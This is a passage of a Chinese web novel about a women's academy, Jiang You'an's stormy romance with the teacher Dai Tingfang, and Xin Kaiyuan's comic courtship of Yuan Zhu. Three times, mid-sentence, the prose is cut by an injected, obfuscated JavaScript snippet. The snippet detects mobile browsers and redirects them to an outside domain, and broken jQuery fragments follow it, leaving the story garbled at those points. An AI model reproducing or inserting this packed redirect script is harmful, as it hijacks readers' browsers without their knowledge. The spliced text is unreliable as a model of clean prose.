看着戴庭芳的脸,姜佑安不禁在心中感叹,美人就是美人,连生气的脸都这么好看,她收起了笑意,“你不是要跟我成亲吗?我都答应要你做正房了,你为什么这么生气?” “好。”戴庭芳气愤地点了点头,“我明白你的意思了,我早该想到的,你就是这样的人,不会想要嫁人过安生日子,我也好,黎泱泱也好,都是供你玩乐的人,你说的喜欢,不过是喜欢我的皮囊,你对我,根本就没有一丝真心。” 激怒了戴庭芳,还让他这么难过,姜佑安觉得有些于心不忍,“你和黎泱泱不一样,我是更喜欢你的。” 戴庭芳的眼眶红了,“有什么不一样,假如我没有这张脸,你还会看我一眼吗?” “你的脸也是你的一部分,我不能抛开来看。”姜佑安答道。 “无所谓,这都无所谓,反正要是有长得比我更好看的男人出现,你就会转而喜欢别人了。”戴庭芳转过身,向园门走去。 姜佑安跟了过去,“戴老师,现在并没有别的男人出现,我喜欢的就是你,我要是不嫁给你,就不能留在你身边吗?” “不能!”戴庭芳快步向前走,斩钉截铁地说道:“我只能和我的妻子那样亲密,其他人,都不可以。” “戴老师!戴庭芳!”姜佑安抓着戴庭芳的手腕,强迫他停了下来,“你说你可以等我的,在我决定嫁给你之前,我们不能像之前一样相处吗?” 戴庭芳挣扎着甩开她的手,“你想要怎么相处?让我住进你的房间?不行,无媒苟合的事,我绝不能干!” “不住进来也行,只要你别像现在这样拒绝我就行。”姜佑安有些委屈地说道。 “只要成了亲,我什么都可以有着你的性子来,是你拒绝成亲的。”戴庭芳控诉道。 姜佑安拉过他的手,轻声说道:“我不是完全的拒绝,你容我考虑一下。” “不用考虑了,即使我们成亲了,你身边还有给别的男人留的位置,这我不能接受,姜院长,你就当我今天是什么都没说吧,以后我们只是院长和老师的身份,其他事,请不要再来找我了。”戴庭芳说完,抽回手,转身离去。 看着戴庭芳的背影,姜佑安很是惆怅,她既不愿意成亲,也不愿意戴庭芳就此疏远她,唉,一切都搞砸了,早知道就不该亲他,也不该说什么让他搬过来一起住的话。 一时的亲热甜蜜,如梦幻泡影一般,转瞬就消失不见了。 真的只有和他成亲,才能拥有他吗?戴庭芳有这样的坚持,真是让人没办法。 姜佑安怏怏地回了弓箭社的场地上,箫悦笙说听见有人吵架,问她在跟戴庭芳吵什么,姜佑安说没什么,也拿起弓练箭去了。 箫悦笙的复仇也好,戴庭芳的抵触也好,都不是一时半会儿能解决的事,只能走一步看一步了。 晚上,戴庭芳去厨房盛了饭菜回房吃了,第二天就提出要搬出去,搬到学堂旁边住,姜佑安之前一直说让他搬出去,此时也不好挽留。 最近这几天,袁家又收留了几个被抛弃的孩子,杨恩趁机也提出要搬出去,既能去给戴庭芳做个伴儿,还能腾出个房间来。 李长风见他们都搬走了,宅院里只有自己一个男的,于是也要搬出去,还说起最近学堂门锁被人破坏的事,他要搬过去守着,让别人不敢去找事。 袁竹这回没有拦着他们,一是因为房间确实要不够用了,二是因为一起搬过去,能彼此做个伴儿,她也就不担心了,而且,男人都搬出去,宅子里都是女人,也能更自在些。 邵苏木听说了,也要搬出去,姜佑安觉得她住在那边教书更方便些,况且她现在神智清醒,已经能分清霍静不是霍淑了,姜佑安也就同意了。霍静觉得让邵苏木自己住,不太放心,也一块搬了过去。 前院的房间一下子都空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617070|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,钟二娘从后院住得过于拥挤的房间里,分配了几个人过来,搬东西、铺床,就此住了下来。 姜佑安出了门,走过玫瑰花园,来到了学堂旁的房子里,院子里的枯草都被清理了,房间里零零散散地放着杨恩打的家具,床和桌椅都有,还有火盆和柴火,厨房也能用,住进去基本都能正常生活。 戴庭芳在学堂里教书,看到姜佑安站在门口,也没有出来见她,姜佑安捧着手炉,坐在戴婷昂的房子里等着他。 姜佑安不时抬头看向门外,戴庭芳不理会她的这些日子,明明她做的事都和往常一样,却总是觉得很无聊。 下了学,戴庭芳往自己的住所走去,心里暗自后悔,刚才姜佑安来看他,自己还是应该出去跟她打个招呼的,就算是共事的关系,找个招呼也是正常的。 戴庭芳打开了篱笆门,进了院子,他的这所房子,是离学堂最远的,杨恩想跟他一起住,他拒绝了。 这些房子都是两室一厅的,附带一个厨房,杨恩去和李长风住了,邵苏木和霍静一起住,他现在的状态,不适合和别人合住,虽然都是一人一个房间,但他还是觉得自己住比较好。 房门虚掩着,这门上的锁被人卸走了,杨恩还没来得及安新的,反正屋里也没什么值钱的东西,而且里面的门闩还是好的,晚上睡觉的时候能安心些。 推开门,戴庭芳看到姜佑安坐在屋里,心里蓦然一动,“你怎么来了?” 姜佑安站起身来,笑了笑,“我过来看看,戴老师在这里住得还习惯吗?” “挺好的。”戴庭芳把门敞开着,在另一把椅子上坐了。 “天这么冷,还是把门关上吧。”姜佑安说道。 “姜院长有什么事就直说吧。”戴庭芳冷淡地说道。 姜佑安在椅子上坐下,“现在大部分孩子的启蒙都完成了,我想,强健的体魄也是相当重要的,你原先在你家的书院,接触的人多,你看有没有合适的人,能过来帮我做做训练,最好是从过军的,品行好的。” 见她来,确实是有正事要谈,戴庭芳心里有些失望,“下午我回家一趟,问问我父亲有没有合适的人选。” “有劳戴老师了。”姜佑安站起身来,“要不要跟我一起回去吃午饭?” 戴庭芳也站起身来,“不了,杨恩已经做了午饭了,我一会儿去他那里吃。” “行,那我就不多打扰了。”姜佑安抬脚向外走去。 戴庭芳有心挽留,却又不知道说什么好,只得任由她离开。 吃过午饭,戴庭芳回了戴家,第二天便带着一个叫辛开元男人来到了女子书院,李长风去叫了姜佑安过来,两人聊了聊,姜佑安让他先教两天试试,辛开元点头答应了。 在学堂旁选了一处开阔的场地,辛开元把女生们叫了过去,按照自己在军中训练的内容操练起来,学生们都觉得很有趣,开心地练了起来。 姜佑安看了一阵子,对这个老师很满意,也跟着走进了学生之中,一起训练,李长风和杨恩也站在边上,跟着一起练,只有戴庭芳在一旁干看着。 练了一阵,姜佑安想起来,要去告诉石倩她们一声,中午请辛开元一起吃饭,得准备几个好菜,于是跟辛开元说了一声,走上小路,往袁家去了。 操练的休息间隙,辛开元站在小路上向袁家看去,见姜佑安进了袁家的院门,他向不远处的戴庭芳问道:“姜院长是住在那边的宅子里吗?” “是。”戴庭芳答道。 辛开元像是发现了什么重大的惊喜,快步朝袁家走去。 戴庭芳追上去,“辛公子,你有事要去找姜院长吗?这边的学生你不管了?” “让学生们先休息吧,我有重要的事要去办。”辛开元说道。 “什么重要的事?”戴庭芳问道。 辛开元回过头来,灿然一笑,“我要去袁家求亲!” 120. 求亲(二) “什么?你要去求亲?”戴婷芳拦在辛开元身前,“这么大的事,可开不得玩笑。” “我没有开玩笑,虽然至今为止,我跟她只有两面之缘,但我心里已经认定了她。”辛开元说道。 “你之前见过她?”戴庭芳惊讶地问道。 “见过,就是她在你们家书院门口大闹的那天,当时你也在场,昨天你来找我,我就想着可能会有机会再见到她,果然跟我想的一样,她就住在书院附近,我要去找她。”辛开元绕过戴庭芳,兴奋地朝袁家走去。 怪不得他好像认识自己似的,怪不得他那么痛快地答应了,原来是有这一层目的,戴庭芳跑过去,拦住了他,“辛公子,你是认真的?” “当然是认真的,那天我就跟她说了,我想娶她,可惜被她拒绝了。”辛开元有些遗憾地说道。 戴庭芳不能理解,“你也太鲁莽了些,第一次见面就说要娶她,你现在又要去求亲?” “她这样热心善良,又勇敢无畏的人,我对她是一见倾心,我不管什么鲁莽不鲁莽,万一我一犹豫,被别人占了先,哭都没地方哭去。”辛开元说道。 “可你还不是一样被拒绝了?现在再去,又有什么用?”戴庭芳说道。 辛开元笑了笑,一副胜券在握的样子,“以前是我们对彼此都不够了解,现在我来了书院,和她家距离这么近,可以时常来往,我相信,我一定可以打动她。” “不可能的,你不用白费心机了,我在这里教书一年多,和她相处的时间更久,她还跟我说她喜欢我,可我向她求亲,她一样不肯嫁给我。”戴庭芳急切地说道。 “她喜欢你?”辛开元很震惊,“你还向她求亲了?你也喜欢她?” 戴庭芳赶忙点了点头。 辛开元有些失落,“那我怎么办?我可是为了她,才答应过来的。” “我在这里教书,也有她的原因,我跟她可以说是两情相悦了,可她还是不肯嫁给我。”戴庭芳叹了口气,“我还想问我该怎么办呢。” “这其中肯定有什么误会。”辛开元再度绕开戴庭芳,向前走去,“我要去找她问清楚。” 戴庭芳转身跟了过去,“你要去问什么?” “我要问问,既然她不肯嫁你,那我还有没有机会。”辛开元笑着说道。 戴庭芳想起姜佑安说的,要他做正房,别的男人做侧室的那番话,本以为那是很遥远的事,没想到想做她侧室的男人,竟是他自己去找过来的。 戴庭芳抓住了辛开元的胳膊,“假如她已经有了别的男人,你还要掺和进去吗?” 辛开元甩开了他的手,“你不要拦着我,反正她还没成亲不是吗?她最终会选谁,还不好说,我得先去试试。” “你这样的行为是不道德的。”戴庭芳紧跟着他,严厉地批判道。 “我不管什么道德不道德,只要能娶到她,我什么都肯做。”辛开元说道。 戴庭芳再一次拦在了辛开元的前面,“哪怕她已经有别的男人了?” 辛开元停住了脚步,上下打量着戴庭芳,“你什么意思?” “我没有别的意思,我是很认真地在问你,如果她已经有了别的男人呢?”戴庭芳问道。 辛开元想起了关于袁竹的传闻,说她是嫁过一任丈夫的,但目前是寡居。 “哪怕她现在有丈夫,我也不在乎,只要她能让我留下就好,她以前的一切,我都能接受。”辛开元说道。 “她丈夫是正房,你是侧室,这样的话,你也能接受?”戴庭芳追问道。 辛开元愣住了,略想了一想之后说道:“她只要选我就好,我可以带她离开。” “她要是不选择呢?她要是两个人都要呢?她要是不肯离开这里呢?”戴庭芳又接连问道。 辛开元的眉间拧在了一起,生气地瞪着戴庭芳,“你在胡说什么呢?你这是为了让我放弃她,是吧?” “我没有胡说,我很认真,这也是我的烦恼,你跟她只见过两面,对她并不了解,你能接受她是这样的一个人吗?”戴庭芳恳切地说道。 辛开元双臂在胸前交叠,暗暗沉思了一阵,回答道:“如果是她的话,我可以接受。” 本以为这样说,能够把辛开元劝回来,没想到他竟然说可以接受,戴庭芳很惊讶,“为什么?你真的能为了她,做到这种地步?” “我以前认识很多有钱有势的男人,身边妻妾丫鬟成群,她只是想要两个男人而已,我觉得也不算什么。”辛开元说道。 戴庭芳觉得他很荒唐,和姜佑安一样荒唐,“你是不是在故意敷衍我?还是说,你觉得自己可以改变她?” “我喜欢的就是原原本本的她,并不需要她为我做出改变。”辛开元坦然说道。 戴庭芳眉间的皱纹更深了几分,“你这也太纵着她了,她要是以后还想要三宫六院怎么办?” “如果她要我留下,我就好好待她,如果她要走,要去别的男人身边,那我也只能放她自由。”辛开元说道。 戴庭芳很生气,“你这个人怎么这么没有原则?为了留在她身边,你连尊严都不要了吗?” “照你这么说,和别人共侍一夫的女人也都没有尊严了,女人们可以做到,我为什么不行?”辛开元反驳道。 戴庭芳觉得他简直是在胡说八道,“男人和女人哪能一样?” 辛开元觉得戴庭芳在无理取闹,“怎么?你是觉得男人有尊严,女人没有尊严?” “我……”戴庭芳一时语塞,不知道该如何驳斥他。 “我本来就是烂命一条,这辈子还能做些让自己开心的事,就是赚到了,我才不管别人怎么想、怎么说,什么面子、尊严的,屁都不是,我就是想和她在一起。”辛开元懒得再和戴庭芳废话,推开他,向前走去。 看着辛开元的背影,戴庭芳突然觉得,要是自己有他这样不顾一切的勇气,也许一切问题,就都不成问题了。 辛开元走过了玫瑰田,消失在了袁家大门口。 戴庭芳在小路上来回踱步,内心十分焦灼,他应该拦着辛开元,不让他去的,可是,他拦不住,自己又不是姜佑安的谁,有什么理由、什么立场去阻拦呢? 姜佑安说要和他维持交往,是他自己拒绝了,不跟她说话,也不愿意见她,她肯定很失望,很难过吧。 在她情绪低落的时候,要是被辛开元乘虚而入了怎么办?辛开元长得也不错,看他们两人相处时,也很融洽,万一姜佑安答应他了怎么办? 不会的,她没有答应黎泱泱,没有答应他,也曾经拒绝过辛开元,应该不会轻易答应。 万一像自己这样,她拒绝成亲,却提出要和辛开元维持交往呢?辛开元肯定会答应的,他是个没有底线的男人,不管姜佑安提出什么要求,他都会答应的! 姜佑安会提出什么要求?会不要要辛开元搬过去和她一起住?会不会要求他跟她睡一个床?会不会拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629323|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱他?会不会亲吻他? 不!不会的!她不会这样做! 可是,万一…… 戴庭芳不能再做这样的假设了,一想到辛开元顶替了自己的位置,和姜佑安站在一起,他就觉得心痛难忍,他拔腿向袁家跑去。 什么面子、尊严,屁都不是!他要和姜佑安在一起,站在姜佑安身边,该是他戴庭芳才对! 戴庭芳才刚跑到袁家门口,就看到姜佑安从里面走了出来,他快步迎了上去,“辛开元呢?” 看到戴庭芳主动过来跟她说话,姜佑安很高兴,她笑着问道:“他在里面,你找他有事?” 姜佑安心情很好的样子,她不会已经答应辛开元了吧?戴庭芳有些犹豫说道:“也不是什么大事。” 姜佑安回头看了一眼,把戴庭芳拉到一旁墙根下,“他现在有点儿忙,你要是有事,也待会儿再说吧。” “我知道,他是来求亲的。”戴庭芳说道。 “连你都知道了?”姜佑安笑了笑,“他这样到处宣扬,很快整个书院的人都得知道了。” 戴庭芳抬头看着她,眼神里带着幽怨,“你好像很高兴。” 姜佑安脸上是明朗的笑意,“辛开元过来求亲,戴老师过来主动跟我说话,都是让人高兴的事,我当然高兴啊。” 戴庭芳叹了口气,她就是这样的人,自己难以放弃,看来也只能接受了。 “戴老师,你怎么看起来心情不太好的样子?又有什么烦心事吗?”姜佑安关心地问道。 “还不是因为你!”戴庭芳抱怨道。 姜佑安伸手拉着戴庭芳的手,放软了姿态,“和戴老师的关系闹得这么僵,我心里也很不好受,戴老师,我向你道歉,之前的话,都是我胡说八道的,你原谅我好不好?” 看着她期待的眼神,戴庭芳感觉什么都能原谅了,更何况,她说出的,是她的真实想法,是自己因为她不肯答应成亲,才生了气,不理她,要道歉的,是他才对。 戴庭芳握住姜佑安的手,“之前是我态度不好,我向你道歉。” “戴老师!”姜佑安激动地把戴庭芳抱在怀里,亲了一下他的脸,“太好了,你以后不会不理我了吧。” 戴庭芳赶忙左右看了看,见没有人在,也就放心了,他伸手抱住了姜佑安,“辛公子那边,你有什么打算?” “我看他操练得不错,打算就让他留下了,不过他住在县里,来往不太方便,学堂那边还有空屋子,他要是想住这里,就给他分一间。”姜佑安说道。 “还有呢?”戴庭芳问道。 “还有?哦,还有束脩的事,他也不是正经老师,我还没想好给他开多少钱,你有什么意见吗?”姜佑安问道。 戴庭芳轻轻推开了姜佑安,“还有呢?” “还有?”姜佑安很是疑惑,“还有什么?” “你要留他在你身边吗?”戴庭芳问道。 姜佑安还是不太明白他是什么意思,“那自然是要留下的,我说的不就是这个意思吗?” “我说的不是这个意思。”戴庭芳略带愁闷地看着姜佑安,“你说过的,我是正房,其他男人是侧室,你别忘了。” “啊?什么正房、侧室的,这跟辛开元有什么关系?”姜佑安感到不能理解。 “他不是来跟你求亲了吗?我不管你是答应了,还是拒绝了,总之,我才是你的正房丈夫,你要找别人,也得先跟我商量才是。”戴庭芳说道。 121. 操练 姜佑安被戴庭芳的话震惊了,“你以为辛公子是来找我的?” “难道不是吗?”戴庭芳也很震惊,难道是自己误解了? 姜佑安忍不住笑出声来,“当然不是,他是来找袁竹的。” 戴庭芳恍然大悟,怪不得,自己都没有跟他介绍这宅子里住的是谁,他就说要去袁家求亲,怪不得姜佑安没有说见过他,原来他说在书院门口见过的是袁竹,他是来找袁竹求亲的。 戴庭芳顿时感到无地自容,脸上红成一片,他转身就要走,“我回去了。” 姜佑安忙把他拉住,抱在怀里,笑着说道:“戴老师真是可爱。” “我知道是我误会了,你放开我。”戴庭芳小幅度地挣扎着。 姜佑安搂着他,凑在他耳边问道:“戴老师不是想做我的正房丈夫吗?怎么又要走?” “你就笑话我吧,反正我就是这么可笑。”戴庭芳红着脸,赌气说道。 “戴老师不是可笑,是可爱,太可爱了,真想把你一口吃掉。”姜佑安捧着他的脸,吻在他的唇上。 戴庭芳推着姜佑安的肩膀,也不甚用力,“嗯…别…在这里…嗯…” 姜佑安放开了他,舔了舔自己的嘴唇,“戴老师,去我房里吧。” “不,不了。”戴庭芳轻轻喘息着,拒绝了她。 姜佑安笑了笑,“戴老师不是想换个没人的地方吗?” 戴庭芳微微低着头,耳朵都是红的,“你总是这样捉弄我,我要娶你,你又不肯。” “婚姻对我来说是一件大事,不是能轻易做出决定的,我们就先这样相处着,不行吗?”姜佑安用手指抬起戴庭芳的下巴,认真地看着他的眼睛,“戴老师,你很想成亲吗?对你来说,究竟是成亲重要,还是和我相处重要?” 这几天避着姜佑安,让戴庭芳十分痛苦,经过她一问,他才真正想明白了,看着姜佑安的眼睛,他动情地答道:“两个人相处更重要。” 姜佑安高兴地笑了笑,放开戴庭芳的下巴,凑到他耳边问道:“戴老师,你喜欢我吗?我听你亲口说。” 戴庭芳正要开口,余光瞥到辛开元走了出来,他忙后退了两步,低下了头。 辛开元快步走到戴庭芳身边,高兴地向他宣布,“戴庭芳,还是我快你一步,袁娘子答应我了!” “什么?!她答应了?”姜佑安虽然觉得辛开元来求亲是件高兴事,但也没想到袁竹真的会答应。 “对啊。”辛开元开心地笑着,“袁娘子说了,只要我肯入赘,她就愿意考虑。” “你肯同意入赘?”姜佑安问道。 “当然,无论袁娘子提出什么条件,我都会同意的。”辛开元仰着头,骄傲地说道。 “这种事,你不用跟你家人商量一下吗?”戴庭芳问道。 辛开元哈哈一笑,“戴庭芳,你就是输在这种地方了,不过,也幸亏你不能答应,才让我抢了先。” “辛公子,你误会了……”戴庭芳想要解释清楚,辛开元打断了他的话,“你也别灰心,袁娘子只是说给我个机会,你要是能同意她的条件,说不定她也会考虑你的。” “不,我不是……”戴庭芳还没说完,辛开元拍了拍他的肩膀,“我能理解你的心情,我们彼此都好好努力,公平竞争吧。” 辛开元说完,微笑着向姜佑安点了点头,转身往学堂走去。 见姜佑安忍笑忍得很辛苦,戴庭芳无奈地说道:“你想笑就笑吧。” 姜佑安低着头,手握拳抵在鼻子和嘴前,低声笑了起来,“他要,和你,竞争什么?” 戴庭芳撇了撇嘴,“竞争袁娘子。” “哈哈哈。”姜佑安放肆地笑着,一手搭在戴庭芳肩上,一手抹去眼角的眼泪,“你到底是怎么跟他说的?怎么会产生这种误会?” “他问你是不是住这里,我说是,他就说他要来求亲,我哪知道他要找的是袁娘子啊。”戴庭芳郁闷地抱怨道。 姜佑安直起身来,笑着说道:“他要找的是袁竹,这回你可以放心了吧。” “我不放心的是你,谁知道你哪天又遇到一个美男,会不会把我抛到脑后。”戴庭芳说道。 “未来的事,谁说的准?起码现在,我心里只有你。”姜佑安微笑着说道。 戴庭芳垂下眼帘,没有说话。 “你呢?戴老师?”姜佑安轻声问道。 “我,我得回去了。”戴庭芳转过身,快步走到了小路上。 “戴老师,我下午过去找你啊。”姜佑安扬声说道。 戴庭芳没有回答,也没有回头,直往学堂走去。 姜佑安见戴庭芳走远了,转身进了院门,院子里有几个女人在太阳下做着针线活,见她进来,都纷纷跟她打招呼,问她怎么又回来了,姜佑安说那边没什么事了,就回来了。 堂屋里袁竹正坐着发呆,姜佑安走了过去,笑着问道:“听说你要招赘婿了。” 袁竹正觉得烦闷,听到姜佑安打趣她,心气更加不顺了,“别在这胡说八道!” “我都听说了,你还瞒着我啊?”姜佑安在袁竹旁边的椅子上坐下,“就是我新招的那个老师,辛开元,刚才我遇到他,他都跟我说了。” “他这个人怎么这样?这种事也到处说。”袁竹抱怨道。 姜佑安笑了笑,“对他来说,算是喜事吧,他高兴得不得了,说你答应了,会考虑他。” 袁竹叹了口气,“他原先来过一趟,说要娶我,我没答应,刚才听他说以后要在书院教学,我想着他要是常过来纠缠,也是麻烦,就想提个条件把他吓走,没想到他二话不说,就答应了。” “我还觉得奇怪呢,平时也不见你跟他有来往,怎么就会答应他,原来是这么回事。”姜佑安说道。 “我之前只见过他一面,也不知道他是抽什么风,非说要娶我。”袁竹转身看向姜佑安,“他是什么来历?你为什么要聘他做老师?” “这个人我今天也是第一次见,我跟戴老师说,想找一个在军中待过的,品行优良的人来,操练一下学生们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642926|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读书之余,还能强健体魄,以后不至于轻易被人欺负,戴老师就把辛开元给找来了。”姜佑安说道。 “你想让这些女孩子们学点儿拳脚功夫,让长风教不就是了,干吗又找个外人来?”袁竹问道。 “长风自己还是个孩子,带着白凤和悦笙耍着玩儿还行,教不了那么多人,现在书院的人多,我看,还是按军中的方式操练更合适。”姜佑安说道。 “行,你说合适就合适吧。”袁竹不耐烦地摆了摆手,“把辛开元赶走,换个别人不行吗?” “刚才我在学堂那边,跟着他操练了一阵,他说话有理有据,不会过于暴躁,也不会过于温吞,正是我想找的合适人选,你要是烦他,我等会儿跟他说说,让他以后不要过来烦你了。”姜佑安说道。 “既然你要留下他,就跟他说清楚,是我掏钱雇的他,让他以后不要再提什么成亲的事了,不然我就赶他走。”袁竹说道。 姜佑安笑了,起身向袁竹拜了拜,“多谢袁娘子肯出这笔钱。” “这次就算了。”袁竹白了她一眼,“以后再不跟我商量,私自做决定,就别想从我这里拿钱了。” 姜佑安直起身子,笑着说道:“好,都听袁娘子的。” 从袁竹那里领了命,姜佑安去了学堂,上午的操练已经结束,学生们各自散去,姜佑安去了辛开元身边,跟他说了已经决定聘用他的事,也把袁竹的要求跟他讲了。 辛开元一直笑呵呵的,也没有反驳,说他会听袁竹的,袁竹不让提成亲的事,他就不提。 杨恩和李长风给辛开元收拾了一间房,辛开元回去跟父母说了一声,拿了些衣服和日用品来,就在学堂附近住了下来。 辛开元授课之余,总是会去袁家干活,打水、劈柴、推磨这些自不必说,凡是需要出力的事,他都乐意去搭把手,院子里养起水仙后,他每日一早就去给那些水仙换水,阮荷留他一起吃早饭,他也就笑一笑,留了下来。 其他时间他都跟在袁竹身边,袁竹去花田剪枝,他就跟着学剪枝,袁竹去县里卖梅花,他就把自己的课调到下午,也跟着一起去卖梅花。 袁竹起初觉得有些烦,但看他一直乐呵呵的,没什么心机的样子,而且没再提成亲的事,也就由着他了。 徐洪愿说自己绢花做得不好,要跟袁竹一起卖梅花去,袁竹觉得没有必要三个人一起去卖花,就让辛开元留下了,辛开元虽然有些不太愿意,但也没说什么。 袁竹和徐洪愿戴着钟二娘做的手套和护耳,挑着担子走街串巷,袁竹卖花的时候,徐洪愿就随意跟人攀谈。 徐洪愿原本就是个爱说话的人,之前出来卖饼的时候,就曾频繁跟人说起过自己和丈夫和离的事,如今看到她,很多人又跟她提了起来,她就顺势说起了袁竹和姜佑安对她的帮助。 寒冷的冬日,让苦熬着的人逐渐麻木,仿佛再也看不到希望,但袁竹和梅花一起出现,又透露出另一种可能,有人冲出门来,握住了袁竹的手,也抓住了那明亮的色彩和沁人的芬芳。 122. 和离 出来的是一个女人,她握着袁竹的手不松,哭诉着自己的遭遇,一个老太太冲出来,对着女人破口大骂,袁竹没有理会她,把女人带走了。 远离了咒骂声之后,袁竹让徐洪愿把女人先带回家,自己卖完花再回去。 卖完花,挑着空担子回家的路上,袁竹看到辛开元急匆匆地跑了过来。 “怎么了?出什么事了吗?”袁竹问道。 辛开元略低点着头,双手叉腰,喘着粗气,“没,没什么事,我,是过来接你的。” 袁竹笑了笑,“接我干什么?我还能不认识路?” 辛开元也笑了,“袁娘子自然是认得的,我是听说了你们带走了一个女人,担心她的家人会找你们的麻烦。” “那样的人,哪里还是家人,就是来找我,我也不可能送回去。”袁竹收起笑意,迈步向前走去。 辛开元走在袁竹的身边,“是不能送回去,徐娘子已经去找姜院长写弃夫书了。” 袁竹弯了弯嘴角,“这样的事,姜佑安很擅长。” “袁娘子也很擅长。”辛开元附和道。 袁竹看向辛开元,“我擅长什么?” 辛开元微微一笑,“擅长为其他女人打抱不平,我第一次见到袁娘子的时候,你就正在为徐娘子打抱不平,现在徐娘子也在这样做。” “没有办法。”袁竹看着前方延伸的路,轻轻叹了口气,“嫁出去的女人,委屈只能往自己肚子里咽,可能连她的父母,都不会帮她,我们要是不出手,她还能指望谁呢?” 辛开元若有所思地看着袁竹的脸,“袁娘子,你也是因为这个,才不想出嫁,只想招赘的吗?” “那是我乱说的,出嫁我不喜欢,招赘能好点儿,但我也不想和一个男人绑在一起,我觉得现在这样生活挺好的,不需要再成一次亲。”袁竹说道。 “我明白了。”辛开元一副恍然大悟的样子,“你是不想被束缚,想要和不同的男人相处是吧?” 袁竹皱起了眉头,有些嫌弃地看着辛开元,“你说什么呢?” “袁娘子,你可以跟我说实话,我不会说什么的。”辛开元很认真地说道:“你不就是想要一个男人做正房,还要别的男人做侧室吗?我可以接受。” 袁竹白了他一眼,“谁让你接受了?别在这里胡说八道!” “我喜欢的是原原本本的袁娘子,你可以把你的真实想法都告诉我,我都可以理解的。”辛开元保证道。 袁竹刻意忽略了他说的喜欢,很不耐烦地问道:“什么真实想法?你到底在说什么?” “戴老师都告诉我了,他说你心里有一个丈夫了,我只能做侧室,袁娘子,如果我不能做正房,入赘做侧室也行的。”辛开元说道。 袁竹满脑袋的不能理解,“戴庭芳告诉你的?他为什么要跟你说这些?” 辛开元有些羞愧地笑了笑,“他说他跟你是两情相悦,可能是说他要做正房,让我做侧室吧。” “什么?!”袁竹停下了脚步,放下了担子,“他为什么要这么说?他怎么可以说这样的话?” “他说我不了解真实的你,问我能不能接受你是这样的人,我觉得他虽然有自己的私心,但也是为了让我考虑清楚才说的。”辛开元小心地解释道。 “他有什么私心?”袁竹生气地问道。 “他肯定也是想要娶你的啊,他说他向你求过亲,被你拒绝了。”辛开元说道。 两情相悦、求亲被拒、正房侧室,这都什么跟什么啊? 袁竹再稍微想了想,便想到姜佑安,戴庭芳说的那个人,应该是姜佑安才对,她玩弄了戴庭芳的感情,还想要别的男人,怪不得戴庭芳都不到袁家来了,对她的态度也冷淡了许多。 “戴老师跟你说,他向我求过亲?”袁竹问道。 “嗯。”辛开元点了点头。 “他是怎么跟你说的?”袁竹又问道。 “我说要去袁家求亲,他不让我去,他说他在书院一年多,对你很了解,还说你喜欢他,却不肯嫁给他,还问我能不能接受和其他男人共侍一妻。”辛开元老实地回答道。 戴庭芳说的,果然是姜佑安,这两个人也不知道是怎么说的,竟然让辛开元误以为戴庭芳喜欢的是她。 袁竹无奈地笑了笑,挑起担子往前走,辛开元走过去接过了担子,“我来挑,你歇会儿吧。” 袁竹没有拒绝,放慢了脚步,跟在辛开元的斜后方,“你来了这里之后,有回过自己家吗?” 辛开元回头,冲袁竹笑了笑,“回了,我还跟我爹娘说了我要入赘到袁家的事。” 袁竹很惊讶,“你跟你爹娘说了?” “说了,他们说我看重的人,准没错。”辛开元开心地笑着。 看着辛开元的笑脸,袁竹轻轻笑了,“看来你爹娘都很疼你,连这样的要求都会同意。” 辛开元回头看着袁竹,笑着说道:“我也很疼袁娘子,袁娘子提任何要求,我都会答应的。” 袁竹不知道该怎么面对这样直白的爱意,她撇过头,看向路旁的枯草,“话说着是容易。” 辛开元转身面对着袁竹,“我可以证明给你看,你想要我做什么,我都可以的。” “我没什么要你做的,好好挑你的担子吧。”袁竹板着脸说道。 “哦,好。”辛开元笑了笑,挑着担子继续往前走。 袁竹再度放慢了步子,轻声问道:“你还这么年轻,路还很长,为什么会想要入赘?” “我不是想要入赘,是想要和袁娘子在一起。”辛开元答道。 “我还是不明白,为什么你非要和我在一起?你到底想要干什么?”袁竹问道。 “我喜欢袁娘子,在袁娘子为了徐娘子跟崇正书院的院长吵架的时候,我就觉得袁娘子是世上最美好的人,你善良、勇敢、正直、强大,从我看到你那一刻起,我就想要站到你身边去。”辛开元说道。 “我不明白你说的喜欢是什么意思,你自己好好活着就是了,为什么要站到我身边来?”袁竹不解地问道。 辛开元脸上洋溢着笑意,“我觉得人生苦短,应该及时行乐,我想做会让自己开心的事,看到袁娘子,我就觉得开心,袁娘子跟我说话,我更开心,要是能留在袁娘子身边,日日夜夜都能守着袁娘子,那我就是这世上最幸福的人了。” 袁竹还是不明白,“为什么守着我,你会觉得开心?” “因为我喜欢你啊。”辛开元回过头来,笑着说道。 袁竹心中一动,低下头去,“我也喜欢袁家的很多人,却不会想要日日夜夜守着她们。” 